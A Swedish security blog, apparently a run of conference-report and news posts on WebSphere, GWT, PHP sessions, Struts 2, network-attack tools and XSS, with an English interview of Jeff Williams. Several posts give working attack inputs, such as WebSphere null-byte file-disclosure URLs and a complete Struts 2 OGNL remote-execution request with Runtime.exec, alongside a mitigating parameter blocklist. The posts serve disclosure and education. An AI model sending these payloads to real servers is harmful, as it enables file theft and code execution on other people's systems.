Remote execution på WebSphere

Ed Schaller höll en intressant presentation om remote execution på IBM WebSphere (WAS).

WAS frontas typiskt av en webbserver såsom Apache eller IIS. Webbservern används för lastbalasering och felhantering. Den kommunicerar i sin tur med WAS via en webbserver-plugin över http. Men inte alla request skickas vidare.

Webservern utgår från url-mappnignar i web.xml och ibm-web-ext.xmi. Om en match hittas så skickas requestet vidare, annars hanteras det av webbservern själv.

JSP:er och null
WAS och andra applikationsservrar översätter jsp till Java, kompilerar och kör det som en servlet. Det fungerar normalt även runtime och jsp:er komplieras först när de efterfrågas.

Det gör att webbservern alltid skickar jsp-request vidare eftersom appservern måste få en chans att kolla om den finns och kompilera den.

Så hur tolkas null i den här översättningen från jsp till Java till bytekod? Jo, det visar sig att WAS accepterar null men i accessen till det underliggande filsystemet så termineras strängen vid null. På det viset kan man fejka att man vill nå en jsp men i själva verket peka ut en annan fil. Så här:

ctxroot/path_till_filen%00.jsp

Det kommer läsa upp den fil attackeraren har anget så länge den finns i den exploderade war:en. Det måste dessutom vara en korrekt jsp. Jobbigt? Nja, i princip allt som inte innehåller <% är en korrekt jsp. T ex textfiler, html, xml, de flesta zip-filer och så vidare. Intressant nog visare det sig att om attackeraren anger en katalog istället för en fil så får han/hon en kataloglistning. Så här:

ctxroot/dir/%00.jsp
ctxroot/.%00.jsp (extra punkt för att komma åt kontextroten)

Web Server Plugin
OK, null gick bra att att skicka till WAS:en men hur går det med den framförliggande webbservern? Pluginen är skriven i C och terminerar därför vid null, dvs text.txt.jsp blir text.txt. Tillbaka på ruta null så att säga.

Men vi kanske kan lura webbservern med teckenkodning? Java lagrar strängar i UTF-16 internt men tolkar inkommande strängar som UTF-8. Men web server-pluginen förstår inte lång UTF-8. Därtill har IBMs jvm haft en allvarlig bugg i hantering av så kallad overly long UTF-8 som är fixad i de senaste patcharna. På det viset kan man injicera UTF-8 som webbserver-pluginen inte förstår och som jvm:en sen misstolkar som null. Tecknet är %C0%80 vilket tolkas som ASCII null.

Med dubbelpunkt kan man dessutom komma åt WEB-INF-katalogen och kodningen för dubbelpunkt i UTF-8 är %C0%AE. Totalt sett så här:

ctxroot/%C0%AE/WEB-INF/web.xml%C0%80.jsp

… för att komma åt web.xml.

Axis och bilagor
Men attackeraren vill inte bara läsa filer utan också få till remote execution. Så han/hon måste få in en jsp-fil i den exploderade war:en. Här vänder vi oss till det populära Axis-ramverket för web services.

Man kan nämligen ha bilagor (attachments) i sin SOAP. Om man lägger bilagan före SOAP:en och dessutom refererar den i SOAP:en, t ex med en href, så kommer Axis ladda bilagan som fil och cache:a den … i war:en!

Men då måste attackeraren kunna kommunicera med en web service väl? Nej. Web services tillåter att klienten skickar ett SOAP Fault det första den gör. Och då kommer Axis hantera det oavsett om det finns någon web service som det kan ha gått fel i. SOAP Fault är kodade på samma sätt som vanlig SOAP så tricket med bilagan funkar bra.

Bilagan rensas av cache-hanteraren så det uppstår en så kallad race condition där attackeraren måste hinna använda den uppladdade jsp:n innan den tas bort.

Allt det här demade Ed på plats. Japp, skal med användaren wasadmin blev det.

Fix?
Alla moderna versioner av WebSphere (6 och framåt) har så kallade fixpack för det här problemet. Ed har varit noga med att rapportera det på rätt sätt. Coolast var att IBM ordnade en patch på två veckor för alla de 60 varianter som var sårbara. Det är respekt.

Men om man kör en opatchad WebSphere så är man alltså sårbar.

Ed tyckte också man skulle överväga att stänga av runtime-kompilering och omladdning av jsp:er (disableJspRuntimeCompilation).

Säkerhet i GWT

Google Web Toolkit (GWT) låter utvecklare bygga klienttunga webbapplikationer i Java. De kompileras sen till effektiv JavaScript. Frågan är dock om utvecklare känner till vad som händer under huven och hur det påverkar säkerheten? Spider Labs har rotat i den frågan.

Genererad JavaScript
GWT kan generera JavaScript i tre varianter – pretty, detailed och obfuscated. Pretty är helt enkelt trevlig, läsbar kod lämplig under utveckling. Detailed är JavaScript med identifierare som återger exakt vad det var i Java, t ex klassnamn med hela pakettillhörigheten. Inte lätt att läsa men väldigt informativt.

Obfuskering är påslaget default (stäng inte av det för produktionskod) och görs på följande sätt:

• Variabel-, klass- och metodnamn är förkortade (aa, ab, ac, … zx, zy, zz …)
• Statiska strängar flyttas till globala variabler
• Onödig whitespace tas bort
• Alla funktioner sorteras i storleksordning. Det är oklart varför men enligt Google kan det ge bättre kompression när koden skickas över nätet.

Relativ kodstorlek:
100 % obfuscated
200 % pretty
700 % detailed

Inga privata metoder
En liten detalj värd att notera är att privata metoder inte längre är privata i den genererade JavaScript-koden. Det har inga egentliga säkerhetsimplikationer men pekar på det faktum att Google har prioriterat prestanda och komprimerad kod framför att bibehålla maximalt med egenskaper i konverteringen till JavaScript. Det verkar alltså inte använda Crockfords designmönster Module Pattern som möjliggör privata metoder JavaScript.

Enligt Spider Labs så hittas de flesta säkerhetsfelen i webbappar i rpc-gränssnitt (remote procedure call). Se därför dina rpc-anrop som http-request och säkra dem på samma sätt (autentisering, csrf-skydd …).

Deobfuskering av genererad JavaScript
För en attackerare eller pentestare är det naturligtvis intressant att få klientkoden i ett läsbart skick. Spider Labs har därför byggt en deobfuskator – REGWT – utifrån Mozilla Rhino. Den intressantaste delen i deobfuskeringsprocessen är hur de återskapar metodnamn genom metodsignaturer. De döper alla variabler till numrerade standardnamn (field_3 osv), formatterar koden och beräknar sen en hash på det hela. Den kan jämföras med hashen för kända Java-metoder och på så sätt kan man återskapa en hel del av koden.

Verktyget ska släppas till helgen. Kolla efter REGWT på deras webbsida.

PHP-sessioner sårbara

Samy Kamkar, killen bakom MySpace-masken och XSS håller precis en väldigt underhållande presentation. Han har bland annat slaktat PHP-sessioner ...

Målet för attacken är att ta över en inloggad persons session i en webbapplikation skriven i PHP.

session_start() initialiserar en PHP-session. Samy har analyserat entropin i sessions-idt:

• 32 bitar från din IP-adress
• 32 bitar från sekunder sen 1/1 1970
• 32 bitar från nuvarande antal mikrosekunder
• 64 bitar från pseudoslumpgeneratorn (PRNG, pseudo random number generator)
  

Totalt 160 bitar, dvs jobbigt att brute force:a

Men …

• 0 bitar från din IP-adress eftersom den knappast kan anses hemlig.
• 0 bitar från sekunder sen 1/1 1970 eftersom man kan polla tjänsten en gång i sekunden för att se exakt när du loggar på (typiskt sociala nätverk där din kompis loggar in)
• 20 bitar från nuvarande antal mikrosekunder eftersom det bara finns en miljon mikrosekunder!
• 64 bitar från PRNG

Totalt 84 bitar, inte lika jobbigt att brute force:a

Men …

Den enda slump som finns i en PRNG kommer från fröet. Resten är en predikterbar sekvens av siffror, lika varje gång fröet är lika. Just därför är det så allvarligt att PHP-utvecklarna har tabbat sig i fröberäkningen.

Fröberäkningen XOR:ar tidpunkten för serverstarten i antalet sekunder sen 1/1 1970 med antalet mikrosekunder. Felet är att man mixar det helt slumpmässiga antalet mikrosekunder med den del av antalet sekunder sen 1/1 1970 som är variabelt (dvs den del som är någorlunda slumpmässig). Och eftersom det bara finns en miljon mikrosekunder så är fröet nu nere i 20 bitar entropi.

Total entropi: 40 bitar

Vidare med time-space-tradeoff så behöver vi bara brute force:a hälften, dvs 20 bitar. Genomförbart inom sekunder med i snitt en halv miljon request till den sårbara tjänsten.

Sen är PHP-sessionen övertagen.

Historien om buffer overflows

Haroon Meer har tillbringat fantastiskt mycket tid åt att gå igenom historien bakom buffer overflows, formatsträngsattacker och andra minnesattacker. Istället för att ens försöka återge hans snabba och underhållande presentation så länkar jag till hans interaktiva tidslinje.

Kinesiska hacker-communityn

Jag hann höra sammanfattningen av en presentation om hur den kinesiska hacker-communityn fungerar. Intressanta punkter:

Samarbetar i öppna forum
Kineserna använder sällan dolda kanaler, IRC och så vidare. Istället så sker diskussioner tämligen öppet i vanliga nätfora. Med andra ord lätt sökbara.

Enkla GUI-verktyg
Inom den kinesiska communityn så tar man ganska snabbt fram lättanvända, GUI-baserade verktyg för de allra senaste hacken, vissa gånger för helt okända hack. Det göder en stor volym script kiddie-attacker från Kina. I västvärlden är sådana verktyg ovanliga.

Lätt att spåra upphovsmän
Kinesiska hackers lämnar medvetet massor med spår i sina applikationer och verktyg. Det är med andra ord inte svårt att ta reda på vem eller vilken grupp som ligger bakom ett visst hack. Det skiljer sig från hackerkulturen i väst.

Vanligt med 0-days
Det verkar vara ett onormalt antal 0-days i omlopp bland kinesiska hackers. Orsakerna kan vara flera.

• Det går att tjäna pengar på nya hack i Kina, dvs hackers behöver inte gå utomlands för att profitera på sina alster.
• Informationsutbytet mellan Kina och väst är sparsamt. Hackers umgås inte över den gränsen.
• Principer för hur nya hack ska publiceras (responsible/full disclosure) har inte fått fäste i Kina. Kanske för att principerna upplevs dåliga, kanske för att man inte riskerar särskilt stora problem för att ha släppt en 0-day.

Loki – nytt verktyg för layer 3-attacker

Alla som utför pentester på nätverksnivå eller intresserar sig för säkerhet i nätverk (snarare än applikationer) bör kolla in nedanstående.

Ett gäng duktiga nätverkshackare från ERNW har tagit fram ett nytt verktyg för attacker mot mot network management-protokoll. Attackerna kan t ex injicera falsk routing-information som riktar om all trafik på ett helt nätverk till attackerarens dator. Där kan förstås allehanda saker såsom sniffning, man-in-the-middle och vidare läckage ske.

Sådana protokollattacker avfärdas ofta som teoretiska problem. Därför ville man ta fram ett enkelt verktyg för att visa på hur allvarliga dessa problem kan vara.

Andra verktyg
Det finns sedan några verktyg men som tyvärr är väldigt komplicerade:

• IRPAS
• yersinia
• hping
• nemesis
• scapy

Det nya verktyget heter Loki (efter asaguden Loke). Det har ett GWT-GUI med flikar och är skrivet i Python. Loki förstår en massa protokoll som de tidigare verktygen inte förstår än. Totalt sett så presenterar de Loki som en "Infrastructure protocol attack suite" :).

Nya verktyget Loki
Loki kan angripa följande protokoll:

Interior gateway-protokoll

• RIP (route-injicering)
• EIGRP (EIGRP TLV-injicering, authentiserad/icke-autheniserad DoS) Ej släppt än pga juridiska problem med Cisco.
• OSPF (LSA-injicering, knöcka MD5-authenitisering)

Exterior gateway-protokoll

• BGP (NLRI injection)

Andra protokoll:

• ARP (spoofning, skanning, flooding)
• BFD, nytt protokoll (DoS mot existerande BFD-session)
• HSRP/HSRPv2 (ta över IP-adresser)
• LDP (injicering av label mapping messages)
• MPLS (omskrivning av MPLS labels, MPLS-VPN-attack)
• TCP-MD5 (knäcka autentisering enligt RFC2385)
• VRRP, VRRPv3 (ta över IP-adresser)
• WLCCP (sniffning, cracking, generera CTK-nonce och nyckel, dekryptering av klient-PMK) Ej släppt än pga juridiska problem med Cisco.

På ERNWs webbsida står det fortfarande att verktyget snart kommer publiceras.

Bloggande från Black Hat + Defcon

Jag och tre kollegor är på Black Hat och Defcon i Las Vegas, USA. Jag har valt en del riktigt tunga föredrag så några av mina blogginlägg får nog vänta till jag har kommit hem och hunnit läsa ett par av de bakomliggande artiklarna :). Men det ska inte behöva bli tomt här för det. Stay tuned.

XSS-verktyg: Shell of the Future

Lavakumar Kuppan från Attack and Defense Labs har släppt ett intressant XSS-verktyg: Shell of the Future. Tanken är att hjälpa pentestare att bevisa hur farliga XSS-sårbarheter är.

Klientskript kommunicerar med cross-origin request

Som attackerare sätter du upp en server vilken kommer utgöra din kontrollstation. Sen planterar du en av två färdiga skript mha XSS-sårbarheten. Genom cross-origin request (del av HTML5) så låter nu skriptet dig surfa sömlöst med offrets session.

Clickjacking för att behålla skriptet lajv

I många fall så har attackeraren en begränsad tidslucka då hans/hennes elaka skript lever i offrets session. Så fort offret klickar vidare så laddas en sida som inte innehåller det elaka skriptet och tidsluckan är förbi.

För att underlätta så har Lava gjort en variant av Shell of the Future-skriptet som använder clickjacking för att stjäla offrets klick och öppna länken i en ny flik istället. På det viset så lever attackskriptet kvar i den gamla fliken och attackeraren kan fortsätta surfa med offrets session.

Adobe Reader får sandlåda

Adobe har bestämt sig för att använda beprövad säkerhetsteknik för att komma åt alla pdf-trojaner som drabbat deras Reader. Med inspiration från MS Office 2010, 2007 och Chrome så kommer de rendera pdf:er i sandlådor i och med nästa version. Dock bara för Windows.

I en första våg ska de skydda mot skrivningar och i nästa mot läsning av information.

Hela storyn här (CNET).

Interview with Jeff Williams

The Conference Guide for OWASP AppSec Research 2010 in Stockholm featured an exclusive interview I did with Jeff Williams, volunteer Chair of the OWASP Foundation.

Here it is online:

Will OWASP ever reach out to developers?

OWASP focuses on outreach in 2010, and with the prevalence of application security flaws I'd say that's a good focus. But how do we reach out? How should appsec professionals reach software developers?

Jeff: To say that software development groups don’t fully trust security people is an understatement. This isn’t too surprising, seeing how some appsec professionals parade security holes around to get budget for their application security programs. Frankly, most appsec programs are reactive verification programs, designed to find vulnerabilities after they are created.

This era of security separate from development has to end. Instead, we need to get integrated with software development teams and business organizations, working together to get security started much earlier in the software process.

The right way to reach out is to get in there and actually help. Help figure out the threat model, design security architecture, place security controls, and develop test cases. If you find a vulnerability after the application is complete, you failed. And if you’re only talking with other security people, you’re doing it wrong.

Application security and the word Trust

The word trust is often used in IT security. How would you say application security applies to the trust relationship between customers and vendors, or endusers and developers if you will?

Jeff: Today, most trust is blind – and quite frankly unwarranted. There’s just no way for users to know whether the software they’re using is even remotely trustworthy. I’ve talked many times about how this information asymmetry turns the software market into a “market for lemons.” The solution is visibility and transparency for application security, which is the reason why OWASP’s mission focuses on creating visibility.

The whole point of application security is to generate informed trust, where people make decisions about software based on a full and accurate understanding of the risks involved. To achieve this, OWASP is trying to bootstrap a new era of open security ecosystems and “security in sunshine.”

Do developers care about rugged software?

Joshua Corman, David Rice, and you released the Rugged Software Manifesto in February. Does it stick to software developers or is it just an appsec utopia? Do developers really care if their software is rugged or not?

Jeff: We’re trying to bring application security to developers in a way that doesn’t involve threats, coercion, or embarrassment. Recent efforts to try to make developers liable for software vulnerabilities will only result in keeping critical security information shadowed in darkness. The only way we will make progress in application security is by bringing together business people, software developers, and security people and getting them to work together.

Rugged gets all of those groups focused on security in a positive way. In the same way that the Agile movement resonates with developers worldwide who are fed up with the traditional waterfall approach to development, Rugged appeals to developers who want their code to be strong enough to trust.

Virtually all of the developers I meet do care about security, but they need an ecosystem that supports them to make it a reality.

Java rootkits and trusted developers

At Blackhat USA last year you presented the paper "Enterprise Java Rootkits -- Hardly Anyone Watches the Developers" (pdf). Are malicious or disgruntled developers really something we should care about? Who's responsible – the CSO, the CIO, the team leader, or?

Jeff: I’m mostly a “builder,” but occasionally when it’s really important, I reveal my “breaker” side. Malicious developers are literally a “movie plot” threat, but that doesn’t mean we shouldn’t think about it. I set out to figure out the likelihood and impact of the risk associated with malicious developers. It quickly became clear that the amount of damage was virtually unlimited – at least as bad as the worst vulnerability possible and probably quite a bit worse.

The likelihood is harder to calculate, but scary. Imagine you have 200 developers – what are the odds that one of them is disgruntled or in a difficult life situation. Then think about what it would cost to get one of them to betray your company. Then think about all the code you’re trusting – custom code, libraries, test cases, your tool chain, and more. All of those developers are running with full trust deep in your infrastructure.

The paper investigates lots of ways that a malicious developer might hide their attack and concludes that it is quite easy for relatively unskilled developers to do this. There are some very interesting techniques for hiding these attacks and even attacking whole sectors by Trojaning libraries.

So to answer your question, yes – we should care about this risk. There are some simple things we can do about it, but the point of the paper was to kick off research in this area so that we can start to figure out how to protect ourselves for the longterm.

AppSec USA 2010 – Programmet ute

Nu är programmet för OWASP AppSec USA 2010 publicerat. Inte mindre än fem keynote-talare!

Programmet 9 september

Programmet 10 september

Platsen är UC Irvine i Kalifornien och de har precis förlängt earlybird-rabatten till 31/7. Kommer bli mycket trevligt tror jag!

Följ @appsec2010 på Twitter och tagga era egna konferenstweets med #appsec2010.

Alla säkerhetsverktyg du kan önska dig

OWASPs Phoenix-projekt har gjort ett hästjobb i att länka allsköns säkerhetsverktyg – testsajter, proxys, fuzzers, bra webbläsar-plugins, kodskanners och så vidare. Alla länkar lever nog inte eftersom listan har byggts upp över tid. Men det sker uppdateringar kontinuerligt.

Kolla in listan här.

Men se upp! I dagarna fick vi återigen ett exempel på hur illa det kan gå med plugins. Enligt uppgift så innehöll Firefox-addon:en Mozilla Sniff en dold funktion som loggade alla användarnamn och lösenord ihop med den sajt de användes på. Uppgifterna skickades till extern server. Riktigt illa blev det eftersom Mozilla Sniff ingick i kollektionen Web Application Security Penetration Testing. Undrar hur många säkerhetsmänniskor som blivit av med sina lösenord på det viset?

Remote execution i Struts 2

Efter att Spring MVC fallit förra månaden så faller nu Struts 2. Det här är nog det värsta jag har sett i Java-världen. Patchad kod är uppladdad men inte släppt än. När 2.2.0 kommer så är det dags för alla Struts2-användare att patcha.

[Uppdatering] Följande konfiguration i struts.xml verkar svartlista Meders attack:

<interceptor-ref name="params">

<param name="excludeParams">dojo\..*,^struts\..*,.*\\.*,.*\(.*,.*\).*,.*@.* </param>

</interceptor-ref>

Unicode för '#' kringår indatavalidering

Meder Kydyraliev som säkerhetsexperten heter upptäckte för ett år sedan att Struts inte tillåter tecknet '#' i http-parametrar. Detta för att man med '#' når fördefinierade kontextvariabler i XWork såsom #session, #request och #parameters. Men Apache-folket missade det gamla encoding-problemet. Genom att skicka in Unicode för '#', dvs \u0023, så kringgås indatavalideringen.

Http-parametrar för att tillåta statiska och dynamiska metodanrop

Sen upptäckte Meder kontextvariabeln #_memberAccess med det booleska attributet allowStaticAccess som styrde statiska anrop till metoder. Första http-parametern i attack-URL:en blir alltså:

\u0023_memberAccess['allowStaticMethodAccess'] = true

Sen fyller han på med en http-parameter som skapar en Boolean som är falsk:

\u0023foo = new java .lang.Boolean("false")

Det booleanska objektet använder han för att i nästa http-parameter stänga av denyMethodExecution:

\u0023context['xwork.MethodAccessor.denyMethodExecution'] = \u0023foo

Hämta Runtime-objektet och kör valfri kod

Lägg till det en http-parameter för att hämta det aktuella Runtime-objektet:

\u0023rt = @java.lang.Runtime@getRuntime()

... och man är med en sista http-parameter hemma:

\u0023rt.exec('mkdir /tmp/PWNED')

Kolla om din applikation är sårbar

Totalt sett ser ett attack-request ut så här:

http://mydomain/MyStruts.action?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1

Ovanstående "snälla" request kan man använda för att se om ens applikation är sårbar. Det kör då java.lang.Runtime.getRuntime().exit(1) på din app.

Referenser

Läs hela Meders blogginlägg:

CVE-2010-1870: Struts2/XWork remote command execution

Struts 2-utvecklarnas pågående omröstning om release av 2.2.0

Douglas Crockford om XSS

Jag tänkte först skriva en summering av den fantastiska OWASP AppSec-konferensen vi anordnade tillsammans för två veckor sen. Men varför göra det när man istället är sugen på att kolla några webcasts?

Douglas Crockford på vår sida

Via Twitter fick jag tips om en väldigt intressant presentation från jsconf i Washington DC i april. Det är Douglas Crockford, författare till "JavaScript: The Good Parts" och en av Yahoos tyngsta namn som ägnar 50 % av sin talartid åt cross-site scripting (XSS)! Jag kan inte nog understryka betydelsen av att en guru bland utvecklare ställer sig upp och pratar om problem och lösningar inom säkerhet.

Börja titta vid 20:50 om ni vill hoppa över de mer generella JavaScript-bitarna (historik, framtid, js kontra DOM:en osv)

Några citat

Några intressanta citat ur presentationen:

"Possibly the only thing we should be considering is security."

"The biggest problem in the browser platform is it's susceptibility to XSS attacks."

"Solving the XSS problem should be our #1 priority"

"HTML5 is a big step in the wrong direction"

Frågan om säkerhet i HTML5

Jag får fler och fler frågor om säkerhet i HTML5. Därtill har jag påbörjat minst två blogginlägg om just det ämnet men stupat på komplexitet och omfång. Det blir för mycket hur jag än gör. Just det berör Crockford när han säger att vi borde avbryta utvecklingen av HTML5 och börja om(!).

Han menar att XSS är det främsta problemet för en blomstrande webb med mashups och enterprise-tjänster. HTML5 gör XSS-problemet värre på tre sätt:

• HTML5 är väldigt komplicerat. Och komplexitet står som bekant i motsats till säkerhet (och robusthet, och testbarhet, och förvaltningsbarhet, och ...)
• HTML5 ger attackerare nya, väldigt kraftfulla verktyg inklusive access till lokal databas på klientsidan
• HTML5 kommer ta lång tid att färdigställa. Måste lösningen på XSS vänta till HTML6?